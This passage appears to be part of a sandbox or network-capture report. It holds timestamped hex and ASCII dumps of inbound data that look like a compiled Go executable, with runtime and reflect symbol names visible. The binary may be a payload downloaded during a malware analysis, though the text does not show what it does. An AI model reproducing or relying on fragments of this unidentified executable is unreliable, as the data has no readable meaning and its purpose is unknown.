2023-01-25 20:04:37 UTC	5356	IN	Data Raw: 00 ff ff 00 00 04 00 00 00 ed 00 00 00 ab ac 00 00 dc 04 00 00 ff ff 00 00 03 00 00 00 39 00 00 00 cf b6 00 00 65 00 00 00 ff ff 00 00 03 00 00 00 43 00 00 00 cf b6 00 00 ab 00 00 00 ff ff 00 00 03 00 00 00 44 00 00 00 f1 b6 00 00 20 01 00 00 02 00 00 00 0e 00 00 00 1f 00 00 00 3d b5 00 00 10 01 00 00 ff ff 00 00 03 00 00 00 40 00 00 00 5d b5 00 00 32 00 00 00 04 00 00 00 0e 00 00 00 1b 00 00 00 3d b5 00 00 c0 01 00 00 ff ff 00 00 02 00 00 00 bb 03 00 00 62 bf 00 00 18 00 00 00 ff ff 00 00 02 00 00 00 be 03 00 00 6d c5 00 00 2c 00 00 00 ff ff 00 00 02 00 00 00 c1 03 00 00 6d c5 00 00 59 00 00 00 ff ff 00 00 02 00 00 00 c4 03 00 00 6d c5 00 00 86 00 00 00 ff ff 00 00 02 00 00 00 c7 03 00 00 6d c5 00 00 af 00 00 00 ff ff 00 00 02 00 00 00 ca 03 00 00 6d c5 Data Ascii: 9eCD =@]2=bm,mYmmm
2023-01-25 20:04:37 UTC	5372	IN	Data Raw: 00 46 01 00 00 fd 0b 00 00 a8 00 00 00 03 00 00 00 18 00 00 00 46 01 00 00 11 0c 00 00 a8 00 00 00 ff ff 00 00 21 00 00 00 c8 01 00 00 d4 27 00 00 5a 00 00 00 ff ff 00 00 21 00 00 00 d7 01 00 00 d4 27 00 00 8f 00 00 00 ff ff 00 00 21 00 00 00 d6 01 00 00 e4 27 00 00 85 00 00 00 02 00 00 00 31 00 00 00 a8 01 00 00 f8 27 00 00 aa 00 00 00 03 00 00 00 31 00 00 00 d6 00 00 00 f5 00 00 00 ab 00 00 00 ff ff 00 00 21 00 00 00 dd 01 00 00 40 0b 00 00 c8 00 00 00 ff ff 00 00 21 00 00 00 e2 01 00 00 51 0b 00 00 02 01 00 00 ff ff 00 00 21 00 00 00 f8 01 00 00 51 0f 00 00 1e 00 00 00 00 00 00 00 23 00 00 00 de 17 00 00 96 0a 00 00 2d 00 00 00 ff ff 00 00 21 00 00 00 f9 01 00 00 7a 26 00 00 38 00 00 00 ff ff 00 00 21 00 00 00 ea 01 00 00 6b 0e 00 00 5b 00 00 00 03 00 Data Ascii: FF!'Z!'!'1'1!@!Q!Q#-!z&8!k[
2023-01-25 20:04:37 UTC	5388	IN	Data Raw: 00 03 00 00 00 1e 02 00 00 87 42 01 00 20 01 00 00 ff ff 00 00 03 00 00 00 1f 02 00 00 e5 c0 00 00 98 01 00 00 ff ff 00 00 03 00 00 00 1f 02 00 00 f6 40 01 00 98 01 00 00 ff ff 00 00 03 00 00 00 20 02 00 00 f6 40 01 00 8d 02 00 00 ff ff 00 00 03 00 00 00 22 02 00 00 f6 40 01 00 ff 02 00 00 ff ff 00 00 03 00 00 00 26 02 00 00 87 42 01 00 7e 03 00 00 ff ff 00 00 06 00 00 00 b4 04 00 00 8f 45 01 00 70 01 00 00 ff ff 00 00 06 00 00 00 d3 04 00 00 7b 47 01 00 0c 03 00 00 01 00 00 00 06 00 00 00 f4 00 00 00 a8 b3 00 00 2b 03 00 00 ff ff 00 00 06 00 00 00 ab 04 00 00 7b 47 01 00 65 03 00 00 03 00 00 00 06 00 00 00 f4 00 00 00 a8 b3 00 00 84 03 00 00 ff ff 00 00 06 00 00 00 c9 04 00 00 7b 47 01 00 d2 03 00 00 05 00 00 00 06 00 00 00 f4 00 00 00 a8 b3 00 00 2c 04 Data Ascii: B @ @"@&B~Ep{G+{Ge{G,
2023-01-25 20:04:37 UTC	5404	IN	Data Raw: 00 22 00 00 00 00 00 00 00 08 00 00 00 e8 0b 00 00 ea c1 00 00 35 00 00 00 00 00 00 00 08 00 00 00 ea 0b 00 00 fa c1 00 00 65 00 00 00 02 00 00 00 08 00 00 00 97 00 00 00 62 bf 00 00 92 00 00 00 02 00 00 00 08 00 00 00 98 00 00 00 19 bf 00 00 96 00 00 00 ff ff 00 00 06 00 00 00 e4 00 00 00 7f c0 00 00 22 00 00 00 05 00 00 00 08 00 00 00 49 06 00 00 92 c0 00 00 ae 00 00 00 ff ff 00 00 06 00 00 00 e5 00 00 00 a4 c0 00 00 e5 00 00 00 ff ff 00 00 06 00 00 00 e6 00 00 00 e5 c0 00 00 00 01 00 00 ff ff 00 00 01 00 00 00 2a 02 00 00 da c1 00 00 22 00 00 00 00 00 00 00 0c 00 00 00 e8 0b 00 00 ea c1 00 00 35 00 00 00 00 00 00 00 0c 00 00 00 ea 0b 00 00 fa c1 00 00 65 00 00 00 02 00 00 00 0c 00 00 00 97 00 00 00 62 bf 00 00 92 00 00 00 02 00 00 00 0c 00 00 00 98 00 Data Ascii: "5eb"I*"5eb
2023-01-25 20:04:37 UTC	5420	IN	Data Raw: 00 5a 00 00 00 03 00 00 00 23 00 00 00 b3 17 00 00 c9 10 00 00 70 00 00 00 ff ff 00 00 23 00 00 00 7f 15 00 00 a6 0e 00 00 b0 00 00 00 05 00 00 00 5d 00 00 00 60 00 00 00 b5 0e 00 00 bd 00 00 00 ff ff 00 00 23 00 00 00 84 15 00 00 a6 0e 00 00 c3 00 00 00 07 00 00 00 5d 00 00 00 60 00 00 00 b5 0e 00 00 c4 00 00 00 ff ff 00 00 23 00 00 00 77 15 00 00 a6 0e 00 00 d3 00 00 00 09 00 00 00 5d 00 00 00 60 00 00 00 b5 0e 00 00 d4 00 00 00 ff ff 00 00 23 00 00 00 e5 16 00 00 96 0a 00 00 28 00 00 00 ff ff 00 00 23 00 00 00 e3 16 00 00 2f 31 00 00 26 00 00 00 ff ff 00 00 23 00 00 00 e4 16 00 00 dc 32 00 00 52 00 00 00 ff ff 00 00 23 00 00 00 f6 16 00 00 2f 31 00 00 83 00 00 00 ff ff 00 00 23 00 00 00 f7 16 00 00 6b 0e 00 00 8f 00 00 00 04 00 00 00 5d 00 00 00 23 00 Data Ascii: Z#p#]`#]`#w]`#(#/1&#2R#/1#k]#
2023-01-25 20:04:37 UTC	5436	IN	Data Raw: 00 ea c1 00 00 d2 00 00 00 01 00 00 00 65 00 00 00 ea 0b 00 00 fa c1 00 00 05 01 00 00 03 00 00 00 65 00 00 00 97 00 00 00 62 bf 00 00 35 01 00 00 03 00 00 00 65 00 00 00 98 00 00 00 19 bf 00 00 36 01 00 00 ff ff 00 00 45 00 00 00 75 01 00 00 cf c0 00 00 a9 00 00 00 ff ff 00 00 45 00 00 00 75 01 00 00 e5 c0 00 00 a9 00 00 00 ff ff 00 00 45 00 00 00 75 01 00 00 e5 c0 00 00 a9 00 00 00 ff ff 00 00 45 00 00 00 76 01 00 00 a0 cd 00 00 e1 01 00 00 ff ff 00 00 45 00 00 00 77 01 00 00 bb cd 00 00 25 02 00 00 ff ff 00 00 45 00 00 00 83 01 00 00 b8 4e 03 00 89 02 00 00 ff ff 00 00 45 00 00 00 99 03 00 00 98 ac 00 00 b5 00 00 00 ff ff 00 00 45 00 00 00 cf 03 00 00 b2 52 03 00 c3 03 00 00 ff ff 00 00 45 00 00 00 d9 03 00 00 dc 52 03 00 25 06 00 00 ff ff 00 00 45 00 Data Ascii: eeb5e6EuEuEuEvEw%ENEERER%E
2023-01-25 20:04:37 UTC	5452	IN	Data Raw: 00 3c 06 00 00 8a c4 00 00 a0 01 00 00 ff ff 00 00 02 00 00 00 3c 06 00 00 8a c4 00 00 a0 01 00 00 ff ff 00 00 02 00 00 00 3d 06 00 00 c2 c6 00 00 43 02 00 00 ff ff 00 00 02 00 00 00 44 06 00 00 5b c3 00 00 85 02 00 00 ff ff 00 00 02 00 00 00 18 06 00 00 5b c3 00 00 82 03 00 00 ff ff 00 00 02 00 00 00 1a 06 00 00 5b c3 00 00 b9 03 00 00 ff ff 00 00 02 00 00 00 1b 06 00 00 8a c4 00 00 cd 03 00 00 ff ff 00 00 02 00 00 00 1b 06 00 00 8a c4 00 00 cd 03 00 00 ff ff 00 00 02 00 00 00 1c 06 00 00 c2 c6 00 00 7a 04 00 00 ff ff 00 00 03 00 00 00 ee 04 00 00 a8 b3 00 00 57 00 00 00 ff ff 00 00 03 00 00 00 0b 05 00 00 60 0d 01 00 5b 01 00 00 01 00 00 00 03 00 00 00 d2 00 00 00 74 0d 01 00 5c 01 00 00 02 00 00 00 03 00 00 00 d9 00 00 00 40 0d 01 00 7b 01 00 00 ff ff Data Ascii: <<=CD[[[zW`[t\@{
2023-01-25 20:04:37 UTC	5468	IN	Data Raw: 00 07 00 00 00 d7 00 00 00 ef 13 01 00 a2 04 00 00 ff ff 00 00 07 00 00 00 da 00 00 00 ef 13 01 00 4e 05 00 00 ff ff 00 00 07 00 00 00 dd 00 00 00 ef 13 01 00 d8 05 00 00 ff ff 00 00 07 00 00 00 e1 00 00 00 ef 13 01 00 58 06 00 00 ff ff 00 00 07 00 00 00 e5 00 00 00 ef 13 01 00 df 06 00 00 ff ff 00 00 07 00 00 00 ec 00 00 00 33 14 01 00 9d 07 00 00 ff ff 00 00 07 00 00 00 06 01 00 00 47 14 01 00 2c 09 00 00 0b 00 00 00 07 00 00 00 55 00 00 00 ef 13 01 00 6c 09 00 00 ff ff 00 00 07 00 00 00 0a 01 00 00 47 14 01 00 0e 08 00 00 0d 00 00 00 07 00 00 00 55 00 00 00 ef 13 01 00 f7 09 00 00 ff ff 00 00 07 00 00 00 0d 01 00 00 5b 14 01 00 13 08 00 00 ff ff 00 00 07 00 00 00 50 01 00 00 6b 14 01 00 57 0f 00 00 ff ff 00 00 06 00 00 00 56 04 00 00 d2 46 01 00 80 00 Data Ascii: NX3G,UlGU[PkWVF
2023-01-25 20:04:37 UTC	5484	IN	Data Raw: 00 d0 b2 02 00 9a 07 00 00 ff ff 00 00 a0 00 00 00 01 00 00 00 c7 3e 03 00 5a 08 00 00 0f 00 00 00 05 00 00 00 1f 00 00 00 d0 b2 02 00 91 08 00 00 ff ff 00 00 a1 00 00 00 01 00 00 00 c7 3e 03 00 56 09 00 00 11 00 00 00 05 00 00 00 1f 00 00 00 d0 b2 02 00 87 09 00 00 ff ff 00 00 a2 00 00 00 01 00 00 00 5b 06 03 00 4c 0a 00 00 ff ff 00 00 a8 00 00 00 01 00 00 00 a8 b3 00 00 d3 0d 00 00 23 00 00 00 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 00 40 00 00 00 d0 00 00 00 00 00 00 00 40 00 80 00 d0 00 00 00 00 00 00 00 40 01 80 00 d0 00 00 00 00 00 00 00 40 00 a0 00 d8 00 00 00 00 00 00 00 40 00 80 00 d8 00 00 00 00 00 00 00 40 00 80 00 dc 00 00 00 00 00 00 00 40 20 90 00 d8 00 00 00 00 00 00 00 40 20 80 00 d8 00 00 00 00 00 00 Data Ascii: >Z>V[L#_@@@@@@@ @
2023-01-25 20:04:37 UTC	5500	IN	Data Raw: 00 af 01 00 00 ff ff 00 00 45 00 00 00 03 02 00 00 a8 b3 00 00 e1 01 00 00 ff ff 00 00 45 00 00 00 fe 01 00 00 ea 02 03 00 fd 01 00 00 ff ff 00 00 45 00 00 00 ff 01 00 00 a8 b3 00 00 2f 02 00 00 ff ff 00 00 45 00 00 00 19 02 00 00 9d 4f 03 00 46 03 00 00 ff ff 00 00 45 00 00 00 29 02 00 00 e8 43 03 00 1f 04 00 00 ff ff 00 00 45 00 00 00 2a 02 00 00 ea 02 03 00 55 04 00 00 ff ff 00 00 45 00 00 00 2e 02 00 00 ea 02 03 00 ed 04 00 00 ff ff 00 00 45 00 00 00 2f 02 00 00 a8 b3 00 00 20 05 00 00 ff ff 00 00 45 00 00 00 26 02 00 00 ea 02 03 00 72 03 00 00 ff ff 00 00 45 00 00 00 27 02 00 00 5e 46 03 00 d3 05 00 00 ff ff 00 00 45 00 00 00 5b 02 00 00 6f 3e 03 00 e8 07 00 00 ff ff 00 00 45 00 00 00 49 02 00 00 ea 02 03 00 a6 09 00 00 ff ff 00 00 45 00 00 00 3e 02 Data Ascii: EEE/EOFE)CE*UE.E/ E&rE'^FE[o>EIE>
2023-01-25 20:04:37 UTC	5516	IN	Data Raw: 00 82 00 00 00 f4 aa 01 00 90 03 00 00 ff ff 00 00 11 00 00 00 82 00 00 00 55 ab 01 00 90 03 00 00 ff ff 00 00 11 00 00 00 7c 00 00 00 d1 a9 01 00 e1 03 00 00 ff ff 00 00 11 00 00 00 81 00 00 00 f4 aa 01 00 2a 04 00 00 ff ff 00 00 11 00 00 00 81 00 00 00 55 ab 01 00 2a 04 00 00 ff ff 00 00 11 00 00 00 7e 00 00 00 23 ab 01 00 c1 04 00 00 ff ff 00 00 06 00 00 00 cb 01 00 00 93 b0 01 00 8b 00 00 00 ff ff 00 00 06 00 00 00 cc 01 00 00 64 b0 01 00 91 00 00 00 ff ff 00 00 06 00 00 00 cd 01 00 00 93 b0 01 00 aa 00 00 00 ff ff 00 00 06 00 00 00 ce 01 00 00 64 b0 01 00 bb 00 00 00 ff ff 00 00 06 00 00 00 cf 01 00 00 93 b0 01 00 f3 00 00 00 ff ff 00 00 06 00 00 00 d1 01 00 00 93 b0 01 00 fa 00 00 00 ff ff 00 00 06 00 00 00 d3 01 00 00 64 b0 01 00 19 01 00 00 ff ff Data Ascii: U\|U~#ddd
2023-01-25 20:04:37 UTC	5532	IN	Data Raw: 00 44 14 00 00 cd 01 00 00 ff ff 00 00 5b 00 00 00 36 00 00 00 39 14 00 00 3f 00 00 00 24 00 00 00 5b 00 00 00 5b 00 00 00 44 14 00 00 ce 01 00 00 ff ff 00 00 5b 00 00 00 36 00 00 00 7f 14 00 00 3f 00 00 00 ff ff 00 00 5b 00 00 00 37 00 00 00 39 14 00 00 42 00 00 00 27 00 00 00 5b 00 00 00 5b 00 00 00 44 14 00 00 d2 01 00 00 ff ff 00 00 5b 00 00 00 37 00 00 00 39 14 00 00 42 00 00 00 29 00 00 00 5b 00 00 00 5b 00 00 00 44 14 00 00 d3 01 00 00 ff ff 00 00 5b 00 00 00 37 00 00 00 7f 14 00 00 42 00 00 00 ff ff 00 00 5b 00 00 00 38 00 00 00 75 08 00 00 c7 01 00 00 ff ff 00 00 01 00 00 00 c2 00 00 00 f4 aa 01 00 41 00 00 00 ff ff 00 00 01 00 00 00 c3 00 00 00 f4 aa 01 00 70 00 00 00 ff ff 00 00 01 00 00 00 c4 00 00 00 f4 aa 01 00 ab 00 00 00 ff ff 00 00 01 00 Data Ascii: D[69?$[[D[6?[79B'[[D[79B)[[D[7B[8uAp
2023-01-25 20:04:37 UTC	5548	IN	Data Raw: 00 6e 00 00 00 58 05 00 00 ad 0f 00 00 ff ff 00 00 04 00 00 00 a4 00 00 00 2b c1 00 00 b5 10 00 00 0e 00 00 00 06 00 00 00 b8 09 00 00 92 c0 00 00 a0 10 00 00 ff ff 00 00 04 00 00 00 1c 00 00 00 cf c0 00 00 49 00 00 00 ff ff 00 00 04 00 00 00 1d 00 00 00 cf c0 00 00 da 11 00 00 ff ff 00 00 04 00 00 00 70 00 00 00 a2 c1 00 00 c5 12 00 00 ff ff 00 00 04 00 00 00 94 00 00 00 cf c0 00 00 a9 14 00 00 ff ff 00 00 04 00 00 00 94 00 00 00 cf c0 00 00 a9 14 00 00 ff ff 00 00 04 00 00 00 5c 00 00 00 a2 c1 00 00 f7 15 00 00 ff ff 00 00 03 00 00 00 f0 02 00 00 cf c0 00 00 68 00 00 00 ff ff 00 00 03 00 00 00 f0 02 00 00 a0 cd 00 00 68 00 00 00 ff ff 00 00 03 00 00 00 f1 02 00 00 bb cd 00 00 a5 00 00 00 ff ff 00 00 03 00 00 00 f9 02 00 00 7f c0 00 00 a0 01 00 00 03 00 Data Ascii: nX+Ip\hh
2023-01-25 20:04:37 UTC	5564	IN	Data Raw: 49 92 a0 49 92 a4 92 24 49 52 09 29 49 82 24 49 12 49 92 24 09 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 Data Ascii: II$IR)I$II$""""""""""""""""""""""""""""""""UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU@
2023-01-25 20:04:37 UTC	5580	IN	Data Raw: 00 00 00 00 00 e0 b3 88 00 00 00 00 00 a0 d0 88 00 00 00 00 00 9a da af d1 00 00 00 00 e0 1c 4a 00 00 00 00 00 00 1d 4a 00 00 00 00 00 e0 b3 88 00 00 00 00 00 20 d1 88 00 00 00 00 00 20 41 a9 50 00 00 00 00 00 18 4a 00 00 00 00 00 20 18 4a 00 00 00 00 00 e0 b5 88 00 00 00 00 00 c0 4c 88 00 00 00 00 00 4a 5f b3 a9 00 00 00 00 00 7d 63 00 00 00 00 00 40 80 63 00 00 00 00 00 e0 b5 88 00 00 00 00 00 40 4d 88 00 00 00 00 00 1b 96 53 04 00 00 00 00 60 83 63 00 00 00 00 00 60 99 63 00 00 00 00 00 e0 b5 88 00 00 00 00 00 c0 4d 88 00 00 00 00 00 22 97 0d 85 00 00 00 00 20 b0 63 00 00 00 00 00 c0 b4 63 00 00 00 00 00 e0 b5 88 00 00 00 00 00 40 4e 88 00 00 00 00 00 fb 87 88 06 00 00 00 00 c0 5b 63 00 00 00 00 00 a0 74 63 00 00 00 00 00 e0 b5 88 00 00 00 00 00 c0 4e Data Ascii: JJ APJ JLJ_}c@c@MS`c`cM" cc@N[ctcN
2023-01-25 20:04:37 UTC	5596	IN	Data Raw: 00 00 00 00 00 3d 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 19 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 19 57 48 00 00 00 00 00 3d 57 48 00 00 00 00 00 62 57 48 00 00 00 00 00 62 57 48 00 00 00 00 00 91 57 48 00 00 00 00 00 c5 57 48 00 00 00 00 00 f0 57 48 00 00 00 00 00 ca 58 48 00 00 00 00 00 ca 58 48 00 00 00 00 00 3f 58 48 00 00 00 00 00 ca 58 48 00 00 00 00 00 ca 58 48 00 00 00 00 00 66 58 48 00 00 00 00 00 8d 58 48 00 00 00 00 00 b5 58 48 00 00 00 00 00 ca 58 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 58 49 00 00 00 00 00 a4 58 49 00 00 00 00 00 a4 58 49 00 00 00 00 00 a4 58 49 00 00 00 00 00 a4 58 49 00 00 00 00 00 a4 58 Data Ascii: =WH=WH=WHWH=WH=WH=WH=WHWH=WHbWHbWHWHWHWHXHXH?XHXHXHfXHXHXHXHXIXIXIXIXIX
2023-01-25 20:04:37 UTC	5612	IN	Data Raw: 00 00 00 01 02 04 05 05 05 05 05 05 06 07 09 0a 0b 95 03 00 00 00 00 02 03 04 05 05 05 06 06 06 06 07 07 07 08 9e 03 00 00 00 00 01 01 02 02 03 03 04 04 04 04 04 05 05 06 a4 03 00 00 00 01 01 01 02 03 03 04 04 05 05 05 05 05 07 07 ac 03 00 00 00 00 03 04 06 07 07 07 07 07 07 08 0a 0b 0b 0c b8 03 00 00 00 00 02 03 05 07 08 09 0a 0c 0e 0f 11 12 13 13 cb 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cb 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 cd 03 00 00 00 02 02 03 03 04 05 05 07 08 08 08 09 09 0a 0a d7 03 00 00 00 01 03 04 05 05 06 06 07 08 09 09 0b 0c 0d 0d e5 03 00 00 00 01 03 05 05 05 06 06 06 07 07 09 0a 0a 0c 0c f1 03 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01 01 01 f2 03 00 00 00 01 01 02 03 04 06 08 0d 0f 12 12 13 15 Data Ascii:
2023-01-25 20:04:37 UTC	5628	IN	Data Raw: 00 20 98 04 00 40 67 03 00 40 ac 01 00 c0 1f 04 00 a0 93 04 00 a0 67 03 00 00 68 03 00 80 ac 01 00 60 68 03 00 c0 68 03 00 20 69 03 00 20 94 04 00 80 69 03 00 e0 ef 07 00 c0 ac 01 00 80 40 08 00 00 ad 01 00 40 ad 01 00 80 ad 01 00 e0 69 03 00 40 6a 03 00 a0 6a 03 00 00 6b 03 00 60 6b 03 00 20 97 05 00 c0 6b 03 00 20 6c 03 00 c0 ad 01 00 00 ae 01 00 40 09 04 00 80 fd 07 00 a0 d5 07 00 00 ce 06 00 c0 c5 01 00 e0 7e 03 00 40 7f 03 00 c0 d8 05 00 c0 80 06 00 a0 7f 03 00 00 a3 05 00 00 80 03 00 00 c6 01 00 a0 99 04 00 40 c6 01 00 20 9a 04 00 80 d9 05 00 80 c6 01 00 c0 80 03 00 20 81 03 00 60 d8 07 00 80 81 06 00 40 1d 08 00 40 24 04 00 a0 9a 04 00 c0 24 04 00 00 0c 05 00 c0 c6 01 00 20 9b 04 00 40 7d 08 00 80 d1 06 00 00 11 08 00 60 d2 06 00 80 49 08 00 40 82 Data Ascii: @g@gh`hh i i@@i@jjk`k k l@~@@ `@@$$ @}`I@
2023-01-25 20:04:37 UTC	5644	IN	Data Raw: 62 6d 61 70 29 2e 6f 76 65 72 66 6c 6f 77 00 72 75 6e 74 69 6d 65 2e 28 2a 62 6d 61 70 29 2e 73 65 74 6f 76 65 72 66 6c 6f 77 00 72 75 6e 74 69 6d 65 2e 28 2a 68 6d 61 70 29 2e 69 6e 63 72 6e 6f 76 65 72 66 6c 6f 77 00 72 75 6e 74 69 6d 65 2e 28 2a 68 6d 61 70 29 2e 63 72 65 61 74 65 4f 76 65 72 66 6c 6f 77 00 72 75 6e 74 69 6d 65 2e 6d 61 6b 65 6d 61 70 5f 73 6d 61 6c 6c 00 72 75 6e 74 69 6d 65 2e 6d 61 6b 65 6d 61 70 00 72 75 6e 74 69 6d 65 2e 6f 76 65 72 4c 6f 61 64 46 61 63 74 6f 72 00 72 75 6e 74 69 6d 65 2e 62 75 63 6b 65 74 53 68 69 66 74 00 72 75 6e 74 69 6d 65 2e 6d 61 6b 65 42 75 63 6b 65 74 41 72 72 61 79 00 72 75 6e 74 69 6d 65 2e 72 6f 75 6e 64 75 70 73 69 7a 65 00 72 75 6e 74 69 6d 65 2e 6d 61 70 61 63 63 65 73 73 31 00 72 75 6e 74 69 6d 65 Data Ascii: bmap).overflowruntime.(bmap).setoverflowruntime.(hmap).incrnoverflowruntime.(*hmap).createOverflowruntime.makemap_smallruntime.makemapruntime.overLoadFactorruntime.bucketShiftruntime.makeBucketArrayruntime.roundupsizeruntime.mapaccess1runtime
2023-01-25 20:04:37 UTC	5660	IN	Data Raw: 00 72 75 6e 74 69 6d 65 2e 67 6f 65 6e 76 73 00 72 75 6e 74 69 6d 65 2e 65 78 69 74 00 72 75 6e 74 69 6d 65 2e 77 72 69 74 65 31 00 72 75 6e 74 69 6d 65 2e 77 72 69 74 65 43 6f 6e 73 6f 6c 65 00 72 75 6e 74 69 6d 65 2e 77 72 69 74 65 43 6f 6e 73 6f 6c 65 55 54 46 31 36 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 73 6c 65 65 70 2e 66 75 6e 63 31 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 73 6c 65 65 70 2e 66 75 6e 63 32 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 73 6c 65 65 70 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 73 6c 65 65 70 2e 66 75 6e 63 33 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 77 61 6b 65 75 70 2e 66 75 6e 63 31 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 77 61 6b 65 75 70 00 72 75 6e 74 69 6d 65 2e 73 65 6d 61 63 72 65 61 74 65 2e 66 75 6e 63 31 00 72 75 6e 74 69 Data Ascii: runtime.goenvsruntime.exitruntime.write1runtime.writeConsoleruntime.writeConsoleUTF16runtime.semasleep.func1runtime.semasleep.func2runtime.semasleepruntime.semasleep.func3runtime.semawakeup.func1runtime.semawakeupruntime.semacreate.func1runti
2023-01-25 20:04:37 UTC	5676	IN	Data Raw: 61 70 00 72 75 6e 74 69 6d 65 2e 72 65 66 6c 65 63 74 63 61 6c 6c 6d 6f 76 65 00 72 75 6e 74 69 6d 65 2e 77 62 42 75 66 46 6c 75 73 68 00 72 75 6e 74 69 6d 65 2e 6f 73 69 6e 69 74 00 72 75 6e 74 69 6d 65 2e 6e 61 6e 6f 74 69 6d 65 51 50 43 00 72 75 6e 74 69 6d 65 2e 6e 6f 77 51 50 43 00 72 75 6e 74 69 6d 65 2e 65 78 69 74 00 72 75 6e 74 69 6d 65 2e 73 77 69 74 63 68 74 6f 74 68 72 65 61 64 00 72 75 6e 74 69 6d 65 2e 61 73 79 6e 63 50 72 65 65 6d 70 74 32 00 72 75 6e 74 69 6d 65 2e 62 61 64 6d 63 61 6c 6c 00 72 75 6e 74 69 6d 65 2e 62 61 64 6d 63 61 6c 6c 32 00 72 75 6e 74 69 6d 65 2e 62 61 64 72 65 66 6c 65 63 74 63 61 6c 6c 00 72 75 6e 74 69 6d 65 2e 62 61 64 6d 6f 72 65 73 74 61 63 6b 67 30 00 72 75 6e 74 69 6d 65 2e 62 61 64 6d 6f 72 65 73 74 61 63 6b Data Ascii: apruntime.reflectcallmoveruntime.wbBufFlushruntime.osinitruntime.nanotimeQPCruntime.nowQPCruntime.exitruntime.switchtothreadruntime.asyncPreempt2runtime.badmcallruntime.badmcall2runtime.badreflectcallruntime.badmorestackg0runtime.badmorestack
2023-01-25 20:04:37 UTC	5692	IN	Data Raw: 4f 76 65 72 66 6c 6f 77 46 6c 6f 61 74 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 4f 76 65 72 66 6c 6f 77 49 6e 74 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 4f 76 65 72 66 6c 6f 77 55 69 6e 74 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 50 6f 69 6e 74 65 72 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 52 65 63 76 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 53 65 6e 64 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 53 65 74 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 53 65 74 42 6f 6f 6c 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 53 65 74 42 79 74 65 73 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e 53 65 74 43 61 70 00 72 65 66 6c 65 63 74 2e 28 2a 56 61 6c 75 65 29 2e Data Ascii: OverflowFloatreflect.(Value).OverflowIntreflect.(Value).OverflowUintreflect.(Value).Pointerreflect.(Value).Recvreflect.(Value).Sendreflect.(Value).Setreflect.(Value).SetBoolreflect.(Value).SetBytesreflect.(Value).SetCapreflect.(Value).
2023-01-25 20:04:37 UTC	5708	IN	Data Raw: 6b 64 61 79 00 74 69 6d 65 2e 28 2a 54 69 6d 65 29 2e 59 65 61 72 00 74 69 6d 65 2e 28 2a 54 69 6d 65 29 2e 59 65 61 72 44 61 79 00 74 69 6d 65 2e 28 2a 54 69 6d 65 29 2e 5a 6f 6e 65 00 74 69 6d 65 2e 28 2a 54 69 6d 65 29 2e 5a 6f 6e 65 42 6f 75 6e 64 73 00 74 69 6d 65 2e 28 2a 57 65 65 6b 64 61 79 29 2e 53 74 72 69 6e 67 00 74 79 70 65 2e 2e 65 71 2e 74 69 6d 65 2e 61 62 62 72 00 74 79 70 65 2e 2e 65 71 2e 5b 2e 2e 2e 5d 74 69 6d 65 2e 7a 6f 6e 65 00 74 79 70 65 2e 2e 65 71 2e 5b 2e 2e 2e 5d 74 69 6d 65 2e 7a 6f 6e 65 54 72 61 6e 73 00 70 61 74 68 2e 43 6c 65 61 6e 00 70 61 74 68 2e 28 2a 6c 61 7a 79 62 75 66 29 2e 61 70 70 65 6e 64 00 70 61 74 68 2e 28 2a 6c 61 7a 79 62 75 66 29 2e 73 74 72 69 6e 67 00 70 61 74 68 2e 28 2a 6c 61 7a 79 62 75 66 29 2e 69 Data Ascii: kdaytime.(Time).Yeartime.(Time).YearDaytime.(Time).Zonetime.(Time).ZoneBoundstime.(Weekday).Stringtype..eq.time.abbrtype..eq.[...]time.zonetype..eq.[...]time.zoneTranspath.Cleanpath.(lazybuf).appendpath.(lazybuf).stringpath.(lazybuf).i
